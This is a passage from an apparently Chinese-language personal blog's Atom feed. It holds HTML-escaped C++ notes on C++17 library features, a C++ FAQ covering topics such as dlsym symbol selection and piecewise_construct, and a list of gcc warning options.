    cout &amp;lt;&amp;lt; &amp;quot;val: &amp;quot; &amp;lt;&amp;lt; val &amp;lt;&amp;lt; &amp;quot;, distance: &amp;quot; &amp;lt;&amp;lt; res.ptr - str.data() &amp;lt;&amp;lt; endl;
    &amp;#x2F;&amp;#x2F; val: 1234, distance: 4

  } else if (res.ec == std::errc::invalid_argument) {
    cout &amp;lt;&amp;lt; &amp;quot;invalid&amp;quot; &amp;lt;&amp;lt; endl;
  }

  str = std::string{&amp;quot;12.34&amp;quot;};
  double value = 0;
  auto format = std::chars_format::general;
  res = std::from_chars(str.data(), str.data() + str.size(), value, format);
  cout &amp;lt;&amp;lt; &amp;quot;value: &amp;quot; &amp;lt;&amp;lt; value &amp;lt;&amp;lt; endl;
  &amp;#x2F;&amp;#x2F; value: 12.34

  str = std::string{&amp;quot;xxxxxxxx&amp;quot;};
  int v = 1234;
  auto result = std::to_chars(str.data(), str.data() + str.size(), v);
  cout &amp;lt;&amp;lt; &amp;quot;str: &amp;quot; &amp;lt;&amp;lt; str &amp;lt;&amp;lt; &amp;quot;, filled: &amp;quot; &amp;lt;&amp;lt; result.ptr - str.data()
       &amp;lt;&amp;lt; &amp;quot; characters.&amp;quot; &amp;lt;&amp;lt; endl;
  &amp;#x2F;&amp;#x2F; str: 1234xxxx, filled: 4 characters.

  return 0;
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;std-variant&quot;&gt;std::variant&lt;&#x2F;h2&gt;
&lt;p&gt;C++17中提供了std::variant类型，意为多变的，可变的类型，类似于加强版的union，里面可以存放复合数据类型，且操作元素更为方便。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int main() {
  std::variant&amp;lt;int, std::string&amp;gt; var(&amp;quot;hello&amp;quot;);
  cout &amp;lt;&amp;lt; var.index() &amp;lt;&amp;lt; endl;

  var = 123;
  cout &amp;lt;&amp;lt; var.index() &amp;lt;&amp;lt; endl;

  try {
    var = &amp;quot;world&amp;quot;;
    std::string str = std::get&amp;lt;std::string&amp;gt;(var); &amp;#x2F;&amp;#x2F; 通过类型获取
    var = 3;
    int i = std::get&amp;lt;0&amp;gt;(var); &amp;#x2F;&amp;#x2F; 通过索引获取
    cout &amp;lt;&amp;lt; str &amp;lt;&amp;lt; &amp;quot;, &amp;quot; &amp;lt;&amp;lt; i &amp;lt;&amp;lt; endl;
  } catch (...) {
  }

  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;std-optional&quot;&gt;std::optional&lt;&#x2F;h2&gt;
&lt;p&gt;该类型主要用于简化函数返回值的判断，自己也没有深入去挖掘，附上一个简单例子：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;std::optional&amp;lt;int&amp;gt; StoI(const std::string &amp;amp;str) {
  try {
    return std::stoi(str);
  } catch (...) {
    return std::nullopt;
  }
}

int main() {
  std::string str{&amp;quot;1234&amp;quot;};
  std::optional&amp;lt;int&amp;gt; result = StoI(str);
  if (result) {
    cout &amp;lt;&amp;lt; *result &amp;lt;&amp;lt; endl;
  } else {
    cout &amp;lt;&amp;lt; &amp;quot;StoI() error.&amp;quot; &amp;lt;&amp;lt; endl;
  }

  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;std-any&quot;&gt;std::any&lt;&#x2F;h2&gt;
&lt;p&gt;在C++11中引入的auto自动推导类型变量大大方便了编程，但是auto变量一旦声明，该变量类型不可再改变。C++17中引入了std::any类型，该类型变量可以存储任何类型的值，也可以时刻改变它的类型，类似于python中的变量。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int main() {
  std::any a = 1;
  cout &amp;lt;&amp;lt; a.type().name() &amp;lt;&amp;lt; &amp;quot;, &amp;quot; &amp;lt;&amp;lt; std::any_cast&amp;lt;int&amp;gt;(a) &amp;lt;&amp;lt; endl;

  a = 2.2f;
  cout &amp;lt;&amp;lt; a.type().name() &amp;lt;&amp;lt; &amp;quot;, &amp;quot; &amp;lt;&amp;lt; std::any_cast&amp;lt;float&amp;gt;(a) &amp;lt;&amp;lt; endl;

  if (a.has_value()) {
    cout &amp;lt;&amp;lt; a.type().name() &amp;lt;&amp;lt; endl;
  }
  a.reset();
  if (a.has_value()) {
    cout &amp;lt;&amp;lt; a.type().name();
  }
  a = std::string(&amp;quot;hello&amp;quot;);
  cout &amp;lt;&amp;lt; a.type().name() &amp;lt;&amp;lt; &amp;quot;, &amp;quot; &amp;lt;&amp;lt; std::any_cast&amp;lt;std::string&amp;gt;(a) &amp;lt;&amp;lt; endl;

  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;std-apply&quot;&gt;std::apply&lt;&#x2F;h2&gt;
&lt;p&gt;将tuple元组解包，并作为函数的传入参数，如下代码：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int add(int a, int b) { return a + b; }
int main() {
  auto add_lambda = [](auto a, auto b, auto c) { return a + b + c; };

  cout &amp;lt;&amp;lt; std::apply(add, std::pair(2, 3)) &amp;lt;&amp;lt; endl;
  cout &amp;lt;&amp;lt; std::apply(add_lambda, std::tuple(2, 3, 4)) &amp;lt;&amp;lt; endl;
  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;std-make-from-tuple&quot;&gt;std::make_from_tuple&lt;&#x2F;h2&gt;
&lt;p&gt;解包tuple作为构造函数参数构造对象：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;struct A {
  std::string _name;
  size_t _age;

  A(std::string name, size_t age) : _name(name), _age(age) { cout &amp;lt;&amp;lt; &amp;quot;name: &amp;quot; &amp;lt;&amp;lt; _name &amp;lt;&amp;lt; &amp;quot;, age: &amp;quot; &amp;lt;&amp;lt; _age &amp;lt;&amp;lt; endl; }
};

int main() {
  auto param = std::make_tuple(&amp;quot;kai&amp;quot;, 18);
  std::make_from_tuple&amp;lt;A&amp;gt;(std::move(param));

  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;std-string-view&quot;&gt;std::string_view&lt;&#x2F;h2&gt;
&lt;p&gt;C++中字符串有两种形式，char&lt;em&gt;和std::string，string类型封装了char&lt;&#x2F;em&gt;字符串，让我们对字符串的操作方便了很多，但是会有些许性能的损失，而且由char&lt;em&gt;转为string类型，需要调用string类拷贝构造函数，也就是说需要重新申请一片内存，但如果只是对源字符串做只读操作，这样的构造行为显然是不必要的。在C++17中，增加了std::string_view类型，它通过char&lt;&#x2F;em&gt;字符串构造，但是并不会去申请内存重新创建一份该字符串对象，只是char*字符串的一个视图，优化了不必要的内存操作。相应地，对源字符串只有读权限，没有写权限。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;void foo(std::string_view str_v) {
  cout &amp;lt;&amp;lt; str_v &amp;lt;&amp;lt; endl;
  return;
}

int main() {
  char *charStr = &amp;quot;hello world&amp;quot;;
  std::string str{charStr};
  std::string_view str_v(charStr, strlen(charStr));

  cout &amp;lt;&amp;lt; &amp;quot;str: &amp;quot; &amp;lt;&amp;lt; str &amp;lt;&amp;lt; endl;
  cout &amp;lt;&amp;lt; &amp;quot;str_v: &amp;quot; &amp;lt;&amp;lt; str_v &amp;lt;&amp;lt; endl;
  foo(str_v);

  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;std-as-const&quot;&gt;std::as_const&lt;&#x2F;h2&gt;
&lt;p&gt;将左值转化为const类型&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int main() {
  std::string str{&amp;quot;hello world&amp;quot;};
  cout &amp;lt;&amp;lt; std::is_const&amp;lt;decltype(str)&amp;gt;::value &amp;lt;&amp;lt; endl;

  const std::string str_const = std::as_const(str);
  cout &amp;lt;&amp;lt; std::is_const&amp;lt;decltype(str_const)&amp;gt;::value &amp;lt;&amp;lt; endl;
  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;std-filesystem&quot;&gt;std::filesystem&lt;&#x2F;h2&gt;
&lt;p&gt;C++17中引入了filesystem，方便处理文件，提供接口函数很多，用起来也很方便，以下是一个简单的使用例子，详细可参考：Standard library header&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int main() {
  fs::path str(&amp;quot;.&amp;#x2F;data&amp;quot;);
  if (!fs::exists(str)) {
    cout &amp;lt;&amp;lt; &amp;quot;path not exist.&amp;quot; &amp;lt;&amp;lt; endl;
    return -1;
  }
  fs::directory_entry entry(str);
  if (entry.status().type() == fs::file_type::directory) {
    cout &amp;lt;&amp;lt; &amp;quot;it&amp;#x27;s a directory.&amp;quot; &amp;lt;&amp;lt; endl;
  }
  fs::directory_iterator list(str);
  for (auto &amp;amp;file : list) {
    cout &amp;lt;&amp;lt; file.path().filename() &amp;lt;&amp;lt; endl;
  }

  return 0;
}
&amp;#x2F;&amp;#x2F; it&amp;#x27;s a directory.
&amp;#x2F;&amp;#x2F; &amp;quot;text.md&amp;quot;
&amp;#x2F;&amp;#x2F; &amp;quot;test.cpp&amp;quot;
&amp;#x2F;&amp;#x2F; &amp;quot;test.txt&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;std-shared-mutex&quot;&gt;std::shared_mutex&lt;&#x2F;h2&gt;
&lt;p&gt;读写锁相关&lt;&#x2F;p&gt;
&lt;h2 id=&quot;std-span&quot;&gt;std::span&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;span&amp;gt;
void set_data(std::span&amp;lt;int&amp;gt; arr) {
    std::cout &amp;lt;&amp;lt; arr.size();
}

int main()
{
    int buf[128]{ 0 };
    set_data(buf);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;constexpr-constinit-consteval&quot;&gt;constexpr constinit consteval&lt;&#x2F;h2&gt;
&lt;p&gt;constinit 只能用于变量，变量可变非const
constexpr 用于变量，变量是const,不可变, constexpr 语义包含constinit&lt;&#x2F;p&gt;
&lt;p&gt;consteval 只能用于函数，函数只能用于编译器
constexpr 用于函数，函数可用于编译器也可用于运行期&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>cxxFAQ</title>
        <published>2022-06-16T14:04:42+08:00</published>
        <updated>2022-06-16T14:04:42+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/cxxFAQ/"/>
        <id>https://vercel.juzhong.asia/2022/06/cxxFAQ/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/cxxFAQ/">&lt;h1 id=&quot;cxxfaq&quot;&gt;cxxFAQ&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;faq&quot;&gt;FAQ&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;why-can-i-access-private-variables-in-the-copy-constructor&quot;&gt;Why can I access private variables in the copy constructor?&lt;&#x2F;h2&gt;
&lt;p&gt;The access modifiers work on class level, and not on object level.
That is, two objects of the same class can access each others private data.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; https:&amp;#x2F;&amp;#x2F;stackoverflow.com&amp;#x2F;questions&amp;#x2F;4117002&amp;#x2F;why-can-i-access-private-variables-in-the-copy-constructor
Field::test_copy(const Field&amp;amp; f)
{
  pFirst = new T[f.capacity()];

  pLast = pFirst + (f.pLast - f.pFirst);
  pEnd  = pFirst + (f.pEnd - f.pFirst);
  std::copy(f.pFirst, f.pLast, pFirst);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;vector-base-b-vector-derive-d&quot;&gt;vector&amp;lt;base &lt;em&gt;&amp;gt; b &amp;amp; vector&amp;lt;derive&lt;&#x2F;em&gt;&amp;gt; d&lt;&#x2F;h2&gt;
&lt;p&gt;这两个类是没有继承关系的;
vector&amp;lt;base*&amp;gt; &amp;amp;bref = d;
bref[0]-&amp;gt;virtualFun(); &#x2F;&#x2F; 是未定义行为&lt;&#x2F;p&gt;
&lt;h2 id=&quot;static-inline-staticmember-1&quot;&gt;static inline staticMember = 1&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;podlei-xing&quot;&gt;POD类型&lt;&#x2F;h2&gt;
&lt;p&gt;https:&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;language&#x2F;classes#Trivial_class
POD 这个概念在 C++20 deprecated 了，代之以 trivial type 等概念。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;type_traits&amp;gt;
 
struct A
{
    int m;
};
 
struct B
{
    B() {}
};
 
int main() 
{
    std::cout &amp;lt;&amp;lt; std::boolalpha;
    std::cout &amp;lt;&amp;lt; std::is_trivial&amp;lt;A&amp;gt;::value &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;;
    std::cout &amp;lt;&amp;lt; std::is_trivial&amp;lt;B&amp;gt;::value &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;du-xie-suo&quot;&gt;读写锁&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;int read() {
    shared_lock&amp;lt;shared_mutex&amp;gt; sl(mutex_);
    return val_;
  }

void write(int x) {
    unique_lock&amp;lt;shared_mutex&amp;gt; ul(mutex_);
    val_ = x;
  }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;wei-shen-me-c-de-thiszhi-zhen-hui-chu-xian-pian-yi&quot;&gt;为什么C++的this指针会出现偏移？&lt;&#x2F;h2&gt;
&lt;p&gt;多继承中的static_cast&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
using std::cout;

struct A {
    A() = default;
    virtual ~A() = default;
};
struct B {
    B() = default;
    virtual ~B() = default;
};
struct C: A,B {
    C() = default;
    virtual ~C() = default;
};

int main() {
  C obj;
  C *pc = &amp;amp;obj;
  B *pb = static_cast&amp;lt;B*&amp;gt;(pc);
  A *pa = static_cast&amp;lt;A*&amp;gt;(pc);
  std::cout &amp;lt;&amp;lt; &amp;quot;pc:&amp;quot; &amp;lt;&amp;lt; pc &amp;lt;&amp;lt; &amp;quot;\tpb:&amp;quot; &amp;lt;&amp;lt; pb &amp;lt;&amp;lt; &amp;quot;\tpa:&amp;quot; &amp;lt;&amp;lt; pa &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;一般pa==pc(A 是C的第一继承类)   pb会偏移8字节(虚函数指针, 如果A中有其他成员变量，便宜加上变量的size)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;c-ruo-lei-xing-bu-ding-jing-du-shu-zhi-ji-suan-de-jian-yi-shi-xian&quot;&gt;C++弱类型不定精度数值计算的简易实现&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;string&amp;gt;
#include &amp;lt;type_traits&amp;gt;
#include &amp;lt;variant&amp;gt;

using number_t = std::variant&amp;lt;bool, char, signed char, unsigned char, wchar_t, char8_t, char16_t, char32_t, short, unsigned short, int, unsigned int, long, unsigned long, long long, unsigned long long, float, double, long double&amp;gt;;

number_t operator+(const number_t &amp;amp;lhs, const number_t &amp;amp;rhs)
{
	return std::visit&amp;lt;number_t&amp;gt;(std::plus&amp;lt;&amp;gt;(), lhs, rhs);
}

std::string to_string(const number_t&amp;amp; x)
{
	return std::visit([](auto x) { return std::to_string(x); }, x);
}

int main() {
	number_t a = true;
	number_t b = &amp;#x27;0&amp;#x27;;
	number_t c = a + b;
	&amp;#x2F;&amp;#x2F; bool + char = int
	std::cout &amp;lt;&amp;lt; c.index() &amp;lt;&amp;lt; std::endl;
	std::cout &amp;lt;&amp;lt; to_string(c) &amp;lt;&amp;lt; std::endl;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;jin-cheng-zhan-yong-cpuhen-gao-tong-guo-perf-topcha-kan-da-bu-fen-zhan-yong-zai-raw-spin-lockshi-zen-me-hui-shi&quot;&gt;进程占用cpu很高，通过perf top查看大部分占用在_raw_spin_lock是怎么回事？&lt;&#x2F;h2&gt;
&lt;p&gt;perf top -g 先看下调用栈，也就是看下如何引发的spinlock
perf record -g
perf report -g&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fvisibility-hidde-xuan-xiang-zai-bian-yi-dong-tai-ku-de-shi-hou-que-shi-ke-yi-yin-cang-fu-hao-bian-yi-jing-tai-ku-de-shi-hou-si-hu-zuo-bu-dao&quot;&gt;-fvisibility=hidde 选项在编译动态库的时候，确实可以隐藏符号；编译静态库的时候似乎做不到&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;da-nei-cun-chu-shi-chu-liao-memsethuan-you-mei-you-bie-de-geng-gao-xiao-de-fang-an&quot;&gt;大内存初始除了memset还有没有别的更高效的方案？&lt;&#x2F;h2&gt;
&lt;p&gt;如果只是动态分配内存，大块0初始化内存用 calloc() 会比 malloc() + memset() 更快，因为可以利用上系统的 zero page，如果写入概率很低，实际内存分配的开销会被分摊到后续写入时。
不过你这里是静态分配的，肯定本身就比动态分配快了。关键是为啥要每次都要清理这么大吧，能否计数实际使用的字节数，只清理用了的部分&lt;&#x2F;p&gt;
&lt;h2 id=&quot;c-shi-fou-ke-yi-xuan-ze-xing-ding-wei-fu-hao&quot;&gt;C++是否可以选择性定位符号？&lt;&#x2F;h2&gt;
&lt;p&gt;两个同名方法不在同一个.a（或者再简化一下，可以认为有源码，可以任意组合编译，但是不允许修改源码），但是需要链接至同一个服务进程（Server），server的listen端接受上游请求，使用JSON版本serialize方法，接受请求后转发至下游，使用PB版本serialize方法。
可以想到一种方式链接成两个进程，listen进程链接JSON版本库，收请求后以IPC的方式交给另一个进程，另一个进程链接PB版本库，负责发往下游。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ru-guo-shi-dong-tai-ku-yun-xing-shi-lian-jie-de-hua-ke-yi-yong-dlsym-https-linux-die-net-man-3-dlsym&quot;&gt;如果是动态库运行时链接的话，可以用 dlsym，https:&#x2F;&#x2F;linux.die.net&#x2F;man&#x2F;3&#x2F;dlsym&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;dlfcn.h&amp;gt;
int main() {
  &amp;#x2F;* open the needed object *&amp;#x2F;
  void* handle1 = dlopen(&amp;quot;.&amp;#x2F;libfoo1.so&amp;quot;, RTLD_LOCAL | RTLD_LAZY);
  void* handle2 = dlopen(&amp;quot;.&amp;#x2F;libfoo2.so&amp;quot;, RTLD_LOCAL | RTLD_LAZY);

  &amp;#x2F;* find the address of function and data objects *&amp;#x2F;
  auto fptr1 = (void (*)())dlsym(handle1, &amp;quot;my_function&amp;quot;);
  auto fptr2 = (void (*)())dlsym(handle2, &amp;quot;my_function&amp;quot;);

  &amp;#x2F;* invoke function, passing value of integer as a parameter *&amp;#x2F;
  (*fptr1)();
  (*fptr2)();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;jing-tai-ke-yi-shi-shi-objcopyfu-hao-gai-ming-ran-hou-dlsym&quot;&gt;静态可以试试objcopy符号改名, 然后dlsym&lt;&#x2F;h3&gt;
&lt;p&gt;具体操作:&lt;&#x2F;p&gt;
&lt;p&gt;ar x xxx.a得到一堆.o
objcopy对对应的.o改符号名
ar cu创建新的.a&lt;&#x2F;p&gt;
&lt;h2 id=&quot;string2int&quot;&gt;string2int&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; CTAD
std::vector v = {1,2,34};
std::string int2str(const int &amp;amp;i) {
  std::stringstream ss;
  std::string s;
  ss &amp;lt;&amp;lt; i;
  ss &amp;gt;&amp;gt; s;
  return s;
}
int str2int(const std::string &amp;amp;s) {
  std::stringstream ss;
  int i;
  ss &amp;lt;&amp;lt; s;
  ss &amp;gt;&amp;gt; i;
  return i;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;c-11-zhong-std-piecewise-construct-de-shi-yong&quot;&gt;C++11 中 std::piecewise_construct 的使用&lt;&#x2F;h2&gt;
&lt;p&gt;map 类型的 emplace 处理比较特殊，因为和其他的容器不同，map 的 emplace 方法把它接收到的所有的参数都一起转发给 pair 的构造函数。但是对于一个 pair 来说，它既需要构造它的 key 又需要构造它的 value。如果我们按照之前普通的语法使用变参模板的话，则它是无法区分哪些参数用来构造 key, 哪些用来构造 value的。&lt;&#x2F;p&gt;
&lt;p&gt;这个时候就需要使用 C++11 为我们提供的一个特殊类型 piecewise_construct_t 来帮助它们找到各自正确的构造函数了。&lt;&#x2F;p&gt;
&lt;p&gt;std::piecewise_construct_t 是一个空类，全局变量 std::piecewise_construct 就是该类型的一个变量。&lt;&#x2F;p&gt;
&lt;p&gt;因为 emplace 会把参数完美转发给 pair 进行构造，所以保证一致性，你需要使用同样的语法来完成 emplace 的调用，
使用 forward_as_tuple 替代 make_tuple，该函数会帮你构造一个 tuple 并转发给 pair。
具体代码如下所示&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;std::map&amp;lt;std::string, std::complex&amp;lt;double&amp;gt;&amp;gt; scp;
scp.emplace(std::piecewise_construct, &amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;lt; 此常量值作为构造 pair 对象的第一个参数传递，以选择构造函数形式，通过将两个元组对象的元素转发给它们各自的构造函数来构造其成员。
    std::forward_as_tuple(&amp;quot;hello&amp;quot;), &amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;lt; 该函数会帮你构造一个 tuple 并转发给 pair 构造，并存储在 first 字段
    std::forward_as_tuple(1, 2)); &amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;lt; 该函数会帮你构造一个 tuple 并转发给 pair 构造，存储在 second 字段

std::cout &amp;lt;&amp;lt; scp[&amp;quot;hello&amp;quot;] &amp;lt;&amp;lt; std::endl;

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;optinal-variant-any-yuan-wei-gou-zao&quot;&gt;optinal variant any 原位构造&lt;&#x2F;h2&gt;
&lt;p&gt;https:&#x2F;&#x2F;blog.csdn.net&#x2F;yihuajack&#x2F;article&#x2F;details&#x2F;117781831&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;std::optional&amp;lt;std::vector&amp;lt;int&amp;gt;&amp;gt; opt{std::in_place, 4, 1};
std::optional&amp;lt;std::complex&amp;lt;double&amp;gt;&amp;gt; opt2{std::in_place, 0, 1};
auto opt = std::make_optional&amp;lt;std::vector&amp;lt;int&amp;gt;&amp;gt;(4, 1);
&amp;#x2F;&amp;#x2F; 归功于从 C++17 开始的强制拷贝优化，不会有临时对象参与进来

std::variant&amp;lt;int, float&amp;gt; intFloat { std::in_place_index&amp;lt;0&amp;gt;, 10.5 };
std::variant&amp;lt;int, float&amp;gt; intFloat { std::in_place_type&amp;lt;int&amp;gt;, 10.5 };

std::any a{std::in_place_type&amp;lt;UserName&amp;gt;,&amp;quot;hello&amp;quot;};
auto a = std::make_any&amp;lt;UserName&amp;gt;{&amp;quot;hello&amp;quot;};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;m.emplace(std::piecewise_construct,
    std::forward_as_tuple(&amp;quot;c&amp;quot;),
    std::forward_as_tuple(10, &amp;#x27;c&amp;#x27;));

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;remore-erase&quot;&gt;remore erase&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;std::set&amp;lt;int&amp;gt; blacklist = {7, 8, 9};
std::vector&amp;lt;int&amp;gt; digits = {3, 9, 1, 8, 4, 7, 1};
digits.erase(std::remove_if(digits.begin(), digits.end(), [&amp;amp;blacklist](int i) {
               return blacklist.find(i) != blacklist.end();
             }),
             digits.end());
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;copy-backward-fill-n-copy-n-transform&quot;&gt;copy_backward fill_n copy_n transform&lt;&#x2F;h2&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>gcc option</title>
        <published>2022-06-15T17:08:32+08:00</published>
        <updated>2022-06-15T17:08:32+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/gcc-option/"/>
        <id>https://vercel.juzhong.asia/2022/06/gcc-option/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/gcc-option/">&lt;h1 id=&quot;gcc-option&quot;&gt;gcc option&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;chang-yong-bian-yi-can-shu&quot;&gt;常用编译参数：&lt;&#x2F;h1&gt;
&lt;p&gt;-Werror 所有警告变成error
-Werror=
所以指定的警告变成error,比如-Werror=switch 意味着受 -Wswitch控制的警告变成error
-Wfatal-errors 这个选项使得编译器在遇到第一个error后就终止编译
通过‘-W’开头，能指定开启许多警告，与之对应通过‘-Wno-’也能关闭指定的警告&lt;&#x2F;p&gt;
&lt;p&gt;-pedantic 列出违背严格的c&#x2F;c++标准的所有警告
-pedantic-errors 列出违背严格的c&#x2F;c++标准的所有错误
-Wall 列出下列警告
-Waddress
-Warray-bounds=1 (only with -O2)
-Warray-parameter=2 (C and Objective-C only)
-Wbool-compare
-Wbool-operation
-Wc++11-compat -Wc++14-compat
-Wcatch-value (C++ and Objective-C++ only)
-Wchar-subscripts
-Wcomment
-Wduplicate-decl-specifier (C and Objective-C only)
-Wenum-compare (in C&#x2F;ObjC; this is on by default in C++)
-Wformat
-Wformat-overflow
-Wformat-truncation
-Wint-in-bool-context
-Wimplicit (C and Objective-C only)
-Wimplicit-int (C and Objective-C only)
-Wimplicit-function-declaration (C and Objective-C only)
-Winit-self (only for C++)
-Wlogical-not-parentheses
-Wmain (only for C&#x2F;ObjC and unless -ffreestanding)
-Wmaybe-uninitialized
-Wmemset-elt-size
-Wmemset-transposed-args
-Wmisleading-indentation (only for C&#x2F;C++)
-Wmissing-attributes
-Wmissing-braces (only for C&#x2F;ObjC)
-Wmultistatement-macros
-Wnarrowing (only for C++)
-Wnonnull
-Wnonnull-compare
-Wopenmp-simd
-Wparentheses
-Wpessimizing-move (only for C++)
-Wpointer-sign
-Wrange-loop-construct (only for C++)
-Wreorder
-Wrestrict
-Wreturn-type
-Wsequence-point
-Wsign-compare (only in C++)
-Wsizeof-array-div
-Wsizeof-pointer-div
-Wsizeof-pointer-memaccess
-Wstrict-aliasing
-Wstrict-overflow=1
-Wswitch
-Wtautological-compare
-Wtrigraphs
-Wuninitialized
-Wunknown-pragmas
-Wunused-function
-Wunused-label
-Wunused-value
-Wunused-variable
-Wvla-parameter (C and Objective-C only)
-Wvolatile-register-var
-Wzero-length-bounds&lt;&#x2F;p&gt;
&lt;h2 id=&quot;lie-chu-mei-bei-walllie-chu-de-xie-jing-gao&quot;&gt;列出没被-Wall列出的些警告&lt;&#x2F;h2&gt;
&lt;p&gt;-Wextra 列出没被-Wall列出的些警告
-Wclobbered
-Wcast-function-type
-Wdeprecated-copy (C++ only)
-Wempty-body
-Wenum-conversion (C only)
-Wignored-qualifiers
-Wimplicit-fallthrough=3
-Wmissing-field-initializers
-Wmissing-parameter-type (C only)
-Wold-style-declaration (C only)
-Woverride-init
-Wsign-compare (C only)
-Wstring-compare
-Wredundant-move (only for C++)
-Wtype-limits
-Wuninitialized
-Wshift-negative-value (in C++03 and in C99 and newer)
-Wunused-parameter (only with -Wunused or -Wall)
-Wunused-but-set-parameter (only with -Wunused or -Wall)&lt;&#x2F;p&gt;
&lt;p&gt;-Wnon-virtual-dtor 当类用于多态时，即基类被继承时，析构函数非虚时会发出警告
-Wold-style-cast 当使用c语言式的类型转换将发出警告
-Woverloaded-virtual 当子类重载了基类虚函数时，会发出警告，因为此时基类定义的虚函数被子类隐藏了。
-Wswitch-default 当switch语句没有default分支时，发出警告
-Wshadow 当一个变量掩盖了另一个变量时给出警告
-Wcast-qual 当类型转换丢失限定信息时给出警告
-Wextra-semi 当类函数定义后出现多余的分号给出警告&lt;&#x2F;p&gt;
&lt;h1 id=&quot;tui-jian-chang-yong-bian-yi-can-shu-zu-he&quot;&gt;推荐常用编译参数组合&lt;&#x2F;h1&gt;
&lt;p&gt;-Wall -Wextra -Wnon-virtual-dtor -Wold-style-cast -Woverloaded-virtual -Wsign-promo -Wswitch-default -Wfloat-equal -Wshadow -Wcast-qual -Wextra-semi**&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>cxx CRTP</title>
        <published>2022-06-13T10:21:58+08:00</published>
        <updated>2022-06-13T10:21:58+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/cxx-CRTP/"/>
        <id>https://vercel.juzhong.asia/2022/06/cxx-CRTP/</id>
        
